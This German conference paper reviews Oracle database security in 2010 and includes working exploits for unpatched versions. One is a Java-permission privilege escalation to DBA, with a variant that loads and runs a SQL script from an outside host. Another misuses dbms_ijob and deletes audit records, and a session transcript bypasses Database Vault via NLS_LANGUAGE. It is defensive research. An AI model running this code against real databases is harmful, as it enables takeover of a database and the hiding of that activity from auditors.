Best of Oracle Security 2010

Alexander Kornbrust
Red-Database-Security GmbH
Neunkirchen

Schlüsselworte:

Oracle Critical Patch Update, CPU, PSU, SQL Injection, Bypass Database Vault, Bypass Auditing, Man-in-the-middle, DLL-Injection, Unwrapping PL/SQL

Einleitung

In der letzten Jahren wurde das Thema Oracle Security immer populärer und viele Oracle Verantwortliche (DBAs, Entwickler, Vorgesetzte) setzen sich nun damit auseinander. Dazu gehört das Einspielen der Oracle Security Patches, Überprüfung von Datenbanken, Verschlüsselung, Verwendung von Auditing, ...

Die folgende Präsentation lässt das Jahr 2010 Revue passieren und stellt die News aus der Oracle Security Szene vor. Weiterhin werden Demonstrationen von Exploits, Tools, ... vorgestellt.

Oracle Security Patches

Auch in diesem Jahr veröffentlichte Oracle wieder 4 neue Sicherheitspatches (CPU). Dabei ist ganz klar der Trend zu sehen, dass Oracle die Sicherheit der Datenbank immer besser im Griff. So wurden in 2010 nur 31 Sicherheitslücken korrigiert. Die simplen Fehler gehören mehr oder weniger der Vergangenheit an.

Auch 2010 wurden wieder einige Fehler im TNS Listener korrigiert. Für diese Lücken wurden auf den einschlägigen Seiten auch entsprechende Exploits veröffentlicht. Das Problem an Sicherheitslücken im TNS Listener ist, dass jeder im Netzwerk diese ohne Authentifizierung ausnutzen kann. Die entsprechenden Patches sollten also so schnell wie möglich eingespielt werden.

Im Februar wurde von David Litchfield (versehentlich) eine Sicherheitslücke in der Oracle Java Componente veröffentlicht. Diese erlaubte es jeden Angreifer, sofern Java in der Datenbank installiert war, DBA zu werden und Betriebssystemkommandos auszuführen. Erst mit dem April CPU wurde diese Lücke, die alle Oracle 10.2 und 11.1/11.2 Datenbanken betrifft, korrigiert.

Beispiel-Exploit:

```
--- Oracle 11.2.0.1 -----

  DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS
SELECT 'GRANT',user,'SYS','java.io.FilePermission','<<ALL
FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK
COLLECT INTO POL; CLOSE
C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /
```

```
SELECT
DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SY
S','writeOutputToFile','TEXT', NULL, NULL, NULL,
NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO '||user||'''; END;', 'BEGIN NULL;
END;') FROM DUAL;

EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',
SYSDATE());

set role DBA;

---- Oracle 11.2.0.1 -----

---- Oracle 10.2.0.4 (Exploit 1)-----

DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS
SELECT 'GRANT',USER,'SYS','java.io.FilePermission','<<ALL
FILES>>','execute','ENABLED' FROM DUAL;BEGIN OPEN C1; FETCH C1 BULK
COLLECT INTO POL;CLOSE
C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END; /

SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main',
'/oracle/10g/bin/sqlplus', '/ as sysdba',
'@http://www.orasploit.com/becomedba.sql') FROM DUAL;

set role dba;

revoke dba from public;

---- Oracle 10.2.0.4 (Exploit 1) -----
```

Mit dem Oktober CPU wurde das Package dbms_ijob erneut (nach dem Januar 2009) korrigiert und erlaubt es jetzt nicht mehr, Oracle Auditing zu umgehen, wenn der SYS Benutzer verwendet wurde.

Beispiel dbms_ijob:

```
- Bypassing Oracle Auditing
- Everything executed via dbms_ijob (granted to DBAs by default)
- will not appear in the Oracle auditing
- by Volker Solinus

declare
jj    integer := 666666;    - job number
begin
sys.dbms_ijob.submit(
JOB =>        jj,
LUSER =>    'SYS',
PUSER =>    'SYS',
CUSER =>    'SYS',
```

```
NEXT_DATE =>    sysdate,
INTERVAL =>    null,
BROKEN =>    false,
WHAT =>        '
declare
jj    integer := '||jj||';
begin
execute immediate ''alter system archive log current'';
sys.dbms_ijob.remove(jj);
delete from sys.aud$ where obj$name = ''DBMS_IJOB'';
commit;
end;',
NLSENV =>     'NLS_LANGUAGE=''AMERICAN'' NLS_TERRITORY=''AMERICA''
NLS_CURRENCY=''$'' NLS_ISO_CURRENCY=''AMERICA''
NLS_NUMERIC_CHARACTERS='','' NLS_DATE_FORMAT=''DD-MON-RR''
NLS_DATE_LANGUAGE=”AMERICAN'' NLS_SORT=''BINARY''',
ENV =>        hextoraw(’0102000200000000’));
sys.dbms_ijob.run(jj);
exception when others then
if sqlcode=-12011 then
sys.dbms_ijob.remove(jj);
end if;
raise;
end;
/
```

.

Exploits

Die Sicherheitsseite Milw0rm, auf die wir in der Vergangenheit hingewiesen hatten, hat 2010 Ihre Dienste eingestellt. Die Exploit Datenbank wurde von exploit-db.com übernommen. Generell werden immer weniger Exploits veröffentlicht und eher im „Freundeskreis“ getauscht.

Allgemeines

Im Jahre 2010 geht der Security-Trend eindeutig in Richtung komplexere Angriffe wie Man-In-The-Middle-Attacken bzw. DLL-Injection. Hier waren die Präsentation von Laszlo Toth und Steve Ocepek & Wendel G. Henrique die Highlights.

Steve Ocepek & Wendel G. Henrique stellten auf der Blackhat in Barcelona vor, wie man den (unverschlüsselten) Netzwerk-Verkehr abfängt und modifiziert. Im Rahmen dieser Präsentation wurde auch 2 Tools Vamp und Thicknet vorgestellt, die dies mehr oder weniger automatisch machen.

Laszlo Toth stellte in 2010 verschiedene interessante Sachen vor, z.B. mitprotokollieren des Oracle-Klartext-Passwortes mittels DLL-Injection. Dabei mit spezieller Code in den Adress-Bereich der Oracle-Prozesse „injiziert“ und die Passwort-Aufrufe beim Connect gegen die Datenbank mitprotokolliert. D.h. jeder OS Benutzer auf dem Datenbank-Server kann alle Klartextpassworte aller Benutzer, die sich an die DB connecten, sehen.
Da es sich nicht um einen Fehler in Oracle handelt, wird dieser Fehler auch nicht korrigiert werden.

Zusätzlich dazu zeigte Laszlo, wie man die Oracle Transparent Data Encryption (TDE) aushebeln kann. Dabei wird der TDE Masterkey beim Öffnen des Wallets gelesen und dieser dann verwendet, um die Datendateien mittels eines externen Tools zu entschlüsseln. Auch wurde gezeigt, wie man die Passworte des Enterprise Managers bzw. Datenbank-Links entschlüsseln kann.

Auf der Blackhat Las Vegas wurden verschiedene Methoden vorgestellt, mit deren Hilfe man Oracle Database Vault umgehen konnte. Der wohl überraschendste Einsatz war die Verwendung von ALTER SESSION SET NLS_LANGUAGE, der Oracle Database Vault deaktivierte.

```
SQL> connect onedba/onedba Connected.
SQL> drop table hr.jobs cascade constraints;
drop table hr.jobs cascade constraints
* ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-47401: Realm violation for drop table on HR.JOBS
ORA-06512: at "DVSYS.AUTHORIZE_EVENT", line 55
 ORA-06512: at line 13 – Switch to a different NLS_LANGUAGE
SQL> alter session set NLS_LANGUAGE="LATIN AMERICAN SPANISH";
Session altered.
SQL> drop table hr.jobs cascade constraints;
Table dropped.
```

Kontaktadresse:

Red-Database-Security GmbH
Alexander Kornbrust
Bliesstr. 16
D-66538 Neunkirchen

Telefon: +49(0)6821 - 95 17 637
Fax: +49(0)6821 - 91 27 354
E-Mail ak@red-database-security.com
Internet: http://www.red-database-security.com